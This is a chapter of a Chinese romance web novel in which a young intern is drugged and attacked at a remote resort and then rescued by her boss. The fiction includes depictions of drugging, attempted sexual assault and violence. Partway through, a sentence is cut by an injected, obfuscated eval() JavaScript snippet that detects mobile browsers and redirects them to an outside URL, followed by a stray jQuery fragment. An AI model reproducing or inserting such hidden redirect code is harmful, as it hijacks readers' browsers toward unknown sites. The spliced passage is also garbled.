艳阳高照的周六,太阳将柏油路烤出了热气。叶思琪全副武装,将脸和手臂裹得严实往驾校跑。
刚到驾校门口,前台阿姨就笑着迎上来,语气带了点歉意:“思琪,王教练今天突发胃病,让李教练替课,他经验老到,你跟着练也行的。”
叶思琪心里一紧,她练科目二时就见过这位李教练。
人长得魁梧,挺个啤酒肚,嗓门比喇叭还响。
他把一车的学生拉出来站在大太阳下训斥,唾沫星子横飞,不管什么年龄段,学生们个个被骂得灰头土脸,头都不敢抬。
当时她还偷偷庆幸,自己分配到的王教练是个温柔的大叔,最多念叨两句“方向盘打死,打死是转到底,听不听得懂。”
让她这样站在太阳底下被人指着鼻子训,不如重返大一去军训,至少教官顾虑她们的体质,偶尔还可以躲在树荫下偷懒。
没等她多琢磨,李教练就叼着根烟走了过来,上下扫了她一眼,语气不耐烦:“磨磨蹭蹭干什么?赶紧上车,今天带你跑趟山路,把胆子练大,以后什么路都不在话下。”
叶思琪不敢怠慢,谨小慎微地坐进驾驶位。她一板一眼扣好安全带,又检查了一遍后视镜,等李教练大咧咧地卧在副驾,才按规则启动油门,以20码的速度开出驾校。
“左转!”李教授俯过来,右手搭在方向盘上,指节粗得像铁棍,“速度提上来,加速。”
“好的。”叶思琪应下,规规矩矩地挂档调整速度。
“踩油门,这里限速80码。”
叶思琪没应,脚掌只往下压了一点,将速度控制在40码左右。
“踩油门!没吃饭啊?限速80,你这蜗牛爬的等被追尾?”李教练的嗓门陡然拔高,震得叶思琪耳朵发疼,烟味也冲得她一阵反胃。
她心里清楚,自己对山路完全不熟,怎么加速?
更何况李教练说的路,要经过一片偏僻的城中村,离市区足足一个多小时车程。
“踩!加速!”李教练不耐烦地拍了拍车头,“我坐这呢,出不了事!前面右拐!快点。”
叶思琪垂着眼,眼尾微微上挑的弧度此刻透着几分冷硬,瞳仁是深不见底的墨色,不见半分慌乱。
她向来不是会盲目听话的人,尤其是在自己没把握的事上——
哪怕对方是教练也不行。
“打转向灯,从左边超车。”
一路上,只有在确认路况熟悉、心里有底时,她才会听李教练的指令,变换车道、平稳超车。
车窗外的景色渐渐从高楼变成农田,大片的绿扑进眼里,显露出一处灰瓦白墙的山庄。连廊将几间屋子串在一起,周围静得只有蝉鸣,连个人影都看不见。
“前面靠边停车,买点水休息会儿,开回去就差不多了。”李教练右手指点着前侧宽阔的停车场,等不及拉下车窗点烟,“按你这速度回去都吃不上热饭!”
叶思琪扯扯嘴角,观察后视镜,将车妥帖地停在两条停车线的中间。
还没停稳,李教练狠狠甩上车门,将衣服摞到半腰,撑着个大肚子抽了几口烟。
叶思琪摘下防晒口罩,准备去山庄酒店上个厕所。
顺上手机,就瞧见三条未读信息,全是顾洛白发的,语气简洁得像命令——
「在哪里」
「加班」
还有一个未接电话。
这么突然?
叶思琪盯着屏幕,心里纠结——
虽然她对加班费垂涎欲滴,可现在她在郊区的山庄,总不能把教练车开回去。
她犹豫了一下,边走边回头拍了张教练车的照片发过去,又打了句——
「学车ing」
末了还把定位一起发过去,像在证明自己没撒谎。
这时,李教练拎着两瓶矿泉水走了过来,递了一瓶给她:“解解渴。”
他瞧见叶思琪的脸,浑浊的眼珠子转了一下,又闪过一抹亮光。
叶思琪道了声“谢谢”,指尖碰到瓶身时,却觉得有点凉。她随口问了句:“教练,您好像对这里很熟啊?”
李教练眼神闪烁,没看她,往山庄里瞥了眼,含糊道:“我朋友开的。”
叶思琪点头,拧开瓶盖喝了两口,边继续往山庄里走,“我去上个厕所。”
水里有丝甜味,叶思琪看了眼瓶身,写着——
电解质水。
她没多想,只当是加了糖成分的白开水。
太阳猛烈,叶思琪吹了车空调有些发晕,烟又熏得她难受,只想去卫生间洗把脸。
就在这时,一个有些熟悉的身影坐在山庄的大厅。
西装革履,油头锃亮。
在蓝度碰见的海总?
“叶思琪?”
被喊了一声的叶思琪忽然觉得有些头晕,眼皮重得有些抬不起来。她强打起精神,说:“海……海总?这么巧啊,你在这玩。”
“海宇霆。”海总站起来,往前迎了几步,带着油腻的笑意,“这一片都是我的地方,我是特意在这等你的。”
叶思琪一个激灵,背后爬上几丝凉意。
对啊,李教练一个驾校教练,怎么会认识开山庄的朋友!
她一转身,停车场里空荡荡的——
教练车不见了!李教练也没了踪影。
叶思琪心里连犯恶心,强装镇定:“海总等我是?”
海宇霆又走进几步:“叶思琪,跟我怎么样?只要你点头,海盛最好的资源都是你的,比当顾洛白的生活秘书强多了。”
海宇霆闲庭信步,绕着叶思琪走了一圈,眼神黏在她身上。
“是实习秘书,我干得挺好的,顾总也挺好的,暂时不考虑转行哈。”叶思琪保持微笑,摸出裤袋里的手机,颤抖着准备发送消息。
海宇霆见状,狞笑一声,像抓小鸡似的探手过去,两指捏住手机边缘,猛地一抽,又随意往后一摔——
手机摔在大理石地面上,屏幕瞬间裂成蛛网,彻底没了光亮。
“想和谁求救啊?”海宇霆的声音裹着油腻的恶意,叶思琪想扑过去抢,可手脚软得像灌了铅,刚挪动一步,天旋地转的眩晕感就狠狠砸下来,眼前的连廊都在晃,她踉跄着后退,后背却突然撞进一个滚烫的怀抱。
海宇霆的胳膊像铁箍,死死圈住她的腰,烟味混着汗味的气息直往她鼻子里钻,恶心得她胃里翻江倒海。
叶思琪拼尽全力往后顶,手肘撞在他的肚子上,可对他来说,这点力气不过是挠痒痒,反而激得他更狠——
他一把攥住她的手腕,指骨用力得几乎要捏碎她的骨头,猛地将她扛在肩上。
“唔!”叶思琪的肚子撞在他坚硬的肩骨上,疼得她倒抽冷气,眼皮重得像粘了胶水,却在心里下了狠劲——
她狠狠咬了咬下唇,铁锈味瞬间漫开,尖锐的痛感像电流窜过神经,脑子终于清明了几分。可肩头的颠簸太剧烈,五脏六腑都像要被颠出来,她只能强撑着拧了自己大腿一把,借着刺痛睁开眼,飞快扫过周围的环境:
走廊两侧的房间门全关着,木纹门板上没任何标识,每个房间长得差不多,海宇霆一直走到尽头那间,才拧开把门,将叶思琪摔在了床上。
叶思琪后背撞在硬邦邦的床垫上,疼得她差点闷哼出声,却瞬间屏住呼吸,眼皮一合,装出彻底昏厥的模样。
闭眼的瞬间,她的左手悄悄呈一字型展开,指尖在床柜上摸索——
冰凉的木质触感划过指腹,很快碰到台灯金属的底座。
她心里暗松口气:幸好刚才只喝了两口药水,劲儿没全上来,只是还需要点时间缓劲,现在只能赌一把。
脸上忽然传来黏腻的触感,是海宇霆的手指在蹭她的脸颊,叶思琪胃里一阵翻腾,却死死忍住,指尖借着身体的微小动作,又往台灯方向挪了半寸——
指腹已经能扣住台灯底座的边缘,她甚至能摸到底座上积的薄灰。
“我倒要尝尝顾洛白女人的滋味。”海宇霆的声音带着淫邪的笑意。
就是现在!
叶思琪猛地睁眼,手指死死勾住台灯底座,手腕发力,带着全身的力气狠狠一扯,再往前一送——
“砰!”
台灯砸在海宇霆的后脑勺上,玻璃灯罩瞬间碎裂,碎片溅了一地。
海宇霆吃痛地闷哼一声,直挺挺地往旁边倒去,压得床垫陷下去一块。
叶思琪没敢停,连滚带爬地从床上下来,脚底踩在玻璃碎片上,尖锐的痛感刺得她一个趔趄,却还是拼尽全力往外跑,每一步都像踩在棉花上,虚浮得随时要摔倒。
“臭biao子,竟然敢打我?”
身后传来海宇霆暴怒的嘶吼,紧接着是“咚咚”的脚步声,沉重得像擂鼓,离她越来越近。
叶思琪心脏狂跳,不敢回头,只拼命往前冲,可刚跑到大厅,头发突然被人狠狠攥住——
“啊!”
头皮传来撕裂般的疼,她整个人被往后一扯,重重摔在冰冷的大理石地面上,后背与地面撞击的钝痛,让她眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363788|183825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前瞬间发黑,连呼吸都滞了半秒。
“还想跑?”海宇霆的声音裹着戾气,一巴掌扇在叶思琪脸上——
那巴掌带着十足的怒气,“啪”的一声脆响在空荡的连廊里炸开。
叶思琪被打得偏过头,唇角瞬间破了皮,血丝顺着下巴往下淌。
药效还在翻涌,她眼前阵阵发黑,头晕得更厉害,手脚软得像没了骨头,连抬手的力气也没有了。心里绝望地想:
难道她今天就要折在这里了?
海宇霆一摸被台灯砸到的后脑勺,五指沾了点血色,怒气更是烧得厉害。他盯着地上虚弱的叶思琪,手脚再次蓄力,巴掌带着风声往下落:“敬酒不吃吃罚酒……”
话音未落,一道黑影猛地冲了过来,一脚踹在海宇霆的胸口——
“砰”地一声,海宇霆像个破麻袋一样飞出去半米远,重重砸在大理石地面,发出沉闷的巨响。海宇霆疼得呲牙咧嘴,半天喘不过气。
“我的人,你也敢碰!”
顾洛白的声音淬了冰,却冰冻不住滔天的怒火。他眼里布满红血丝,冲上去一把揪住海宇霆的衣领,拳头带着雷霆之势砸下去。
“顾洛白,你个私生子竟敢打我!”海宇霆被打得晕头转向,却还嘴硬。
“打的就是你。”顾洛白的拳头更重了,指节因为用力而泛白,“敢动她,我让你连后悔的机会都没有!”
一拳、两拳,每一拳都用尽全力。
不过片刻,海宇霆的脸就肿得像发酵的馒头,鼻血混着嘴角的血往下淌,染红了衣领,连原本油亮的头发都乱糟糟地贴在脸上。
他终于没了刚才的校长,开始拼命求饶:“别打了!顾总!我认错!我认错!”
叶思琪躺在地上,药效逐渐褪去,脸上火辣辣地疼。
她撑起身子抬头,看见海宇霆脑袋上的伤口还在流血,血顺着大理石地面蜿蜒流淌,与脸上的血混在一起,触目惊心。
顾洛白像头失控的野兽,眼中只有怒火,拳头还在不断落下——
再揍下去,恐怕要变成刑事案件。
“顾总!”叶思琪用尽全身力气喊出声,声音嘶哑得像砂纸摩擦。可顾洛白充耳不闻,眉峰狠狠拧着,眉尾锋利地挑向太阳穴,眼尾的红血丝几乎要渗出血来,浑身都透着“谁也拦不住”的戾气。
“顾总!”叶思琪的身体还在发抖,她撑着墙慢慢爬起来,踉跄着扑过去,死死抱住顾洛白的腰,脸贴在他滚烫的后背,“顾洛白!”
顾洛白的拳头停在半空,指节还在微微颤抖,眼里的怒气丝毫没有消退,他盯着地上蜷缩成一团的海宇霆,字字淬血:“滚!再让我看见你碰她一下,我废了你!”
海宇霆趴在地上,吐了口带血的唾沫,手指颤抖着指向顾洛白,口齿不清地放狠话:“顾洛白……你他妈为了一个女人竟敢和我叫板,我他妈的要让你吃不了兜着走……我爸不会放过你的……”
顾洛白听闻冷笑,眼里的不屑几乎要溢出来,“我等着!你个废物,一根手指头就能玩死你们海盛。”
叶思琪抱着顾洛白的手渐渐没了力气,身体一软,就要往下滑。顾洛白眼疾手快,转身托住她的腰,目光落在她脸上那道清晰的五指印上——红得发紫的印子衬着她苍白的脸,格外刺眼。
他眼底的戾气瞬间被心疼取代,怒火再次翻涌,恨不得回头再给海宇霆几拳。
他小心翼翼地抱起叶思琪,动作轻柔得像对待易碎的珍宝,与刚才的狠戾判若两人。临走前,他还不忘回头,一脚踹在海宇霆的腰上,让他又滚出去半米远,才抱着叶思琪往车边走去。
“我的手机……”叶思琪靠在顾洛白怀里,气若游丝,目光瞟向角落里的物件。
顾洛白低头看她,声音放得极柔,却带着不容置疑的坚决:“脏了,重买一个。”
叶思琪虚弱地笑了笑,靠在他胸口,轻声附和:“嗯……脏死了。”
将叶思琪放进副驾,顾洛白仔细帮她扣好安全带,指尖碰到她脸上的伤时,动作放得更轻了,“这两天别上班了,回家休息。”
叶思琪闭着眼睛摇头,声音细若蚊蚋:“不行——请假要扣钱的。”
顾洛白看着她苍白的脸,眼底的血气彻底散去,只剩下化不开的心疼与柔情。他俯身,用指腹轻轻蹭了蹭她的脸颊,语气带着哄意:“带薪休假,不扣钱,行不行?”
“真好……”叶思琪安心地笑了,眼皮越来越重,靠在椅背上慢慢沉睡,嘴里还含糊地呢喃着,“顾……哥哥。”